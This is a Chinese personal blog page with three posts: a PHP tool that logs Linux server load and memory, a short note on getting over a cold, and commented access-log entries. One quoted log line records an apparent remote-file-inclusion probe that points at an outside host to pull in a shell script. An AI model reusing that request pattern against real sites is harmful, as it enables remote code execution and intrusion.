服务器性能负载记录工具

作者 : admin 于 2009年01月14日, 17:15:38
2009
01-14

服务器突然发生了崩溃,老板开始找我了。

找了半天居然没找到问题在哪里,一咬牙,写了个性能和负载的记录工具,再出事我可有记录了-,-||

备注:只能在linux下用。

  1. < ?php
  2. date_default_timezone_set('Asia/Shanghai');
  3. define('SLEEPTIME',10);       //10秒记录一次
  4. $memfile  = "/proc/meminfo";
  5. $loadfile = "/proc/loadavg";
  6. $logfile  = sprintf("/var/www/html/log/%s.log",date('Y-m-d'));
  7. while(1)
  8. {
  9. $log = getload();
  10. $log .= getmem();
  11. $log .= mymem();
  12. $log .= "\n\r".date("Y-m-d H:i:s");
  13. $log .= "\n\r\n\r";
  14. $handle = fopen($logfile,'a');
  15. fwrite($handle,$log);
  16. fclose($handle);
  17. sleep(SLEEPTIME);
  18. }
  19.  
  20. function getload()      //获得负载
  21. {
  22. global $loadfile;
  23. return file_get_contents($loadfile);
  24. }
  25. function getmem()      //获得内存占用
  26. {
  27. global $memfile;
  28. $mem = file($memfile);
  29. return $mem[0];
  30. }
  31. function mymem()       //程序本身内存占用
  32. {
  33. $pid = getmypid();
  34. exec("ps -eo%mem,rss,pid | grep $pid", $output);
  35.         $output = explode(" ", $output[0]);
  36.         return $output[1] * 1024;
  37. }
  38. ?>

感冒一周,今日好转

作者 : admin 于 2008年11月27日, 19:30:27
2008
11-27

上周日去泡温泉,结果回来就感冒发烧,硬挺几天,没有就医,简单吃点药,差不多快抗过去了。看来感冒真的有周期性,看不看都得来上几天,这几天坚持天天吃水果,保证足够的能量,居然一直也撑下来了,工作也没怎么耽误,大喜。

今日终于有明显好转,虽然有点不利索,回家继续框架研究,争取年前能出个简单的框架系统。

预订的目标一定要实现,而且是在框架系统的基础上实现,工作量不会小,以后得抓紧时间了,LINUX系统一直是个大任务,最近一直没看,计划元旦补习。

学习的感觉真好,让自己感觉自己是个活人。

人生就像网站,指不定谁捅你一刀。

作者 : admin 于 2008年07月04日, 13:20:36
2008
07-4

发现个德国鬼子:

85.236.38.117 – - [04/Jul/2008:05:30:48 +0800] “GET //phpshell.phphttp://sv-hbc.nl/db/cgi/idscan6?? HTTP/1.1″ 404 12684 “-” “libwww-perl/5.805″

ip138.com IP查询(搜索IP地址的地理位置)
您查询的IP:85.236.38.117

* 本站主数据:德国
* 查询结果2:德国
* 查询结果3:德国

69.36.158.7 – - [25/Jun/2008:16:34:44 +0800] “GET /?feed=rss2 HTTP/1.0″ 200 31085 “-” “Moreoverbot/5.00 (+http://www.moreover.com)”
新的搜索引擎?

202.108.7.219 – - [20/Jun/2008:04:12:29 +0800] “GET /?disType=0&job=category&seekname=2 HTTP/1.1″ 200 32787 “-” “Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )”
有道,算是熟人

61.135.168.127 – - [20/Jun/2008:05:39:56 +0800] “GET / HTTP/1.1″ 200 32750 “-” “Baiduspider+(+http://www.baidu.com/search/spider.htm)”
66.249.67.198 – - [20/Jun/2008:05:25:34 +0800] “GET /upfiles/2008/06/1-300×225.jpg HTTP/1.1″ 200 15048 “-” “Googlebot-Image/1.0″
百度google,这哥俩一起来了

65.55.213.107 – - [18/Jun/2008:13:38:12 +0800] “GET /upfiles/2008/06/img_3822.jpg HTTP/1.0″ 200 105436 “-” “msnbot-media/1.0 (+http://search.msn.com/msnbot.htm)”
谢谢盖茨捧场

124.207.144.194 – - [18/Jun/2008:13:51:01 +0800] “GET / HTTP/1.1″ 200 32901 “http://www.coolcode.cn/?action=tags&item=WordPress&page=2″ “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)”
马哥这里来串门的

202.160.180.201 – - [16/Jun/2008:16:28:02 +0800] “GET /robots.txt HTTP/1.0″ 302 0 “-” “Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)”
雅虎来的时候会敲门的,很文明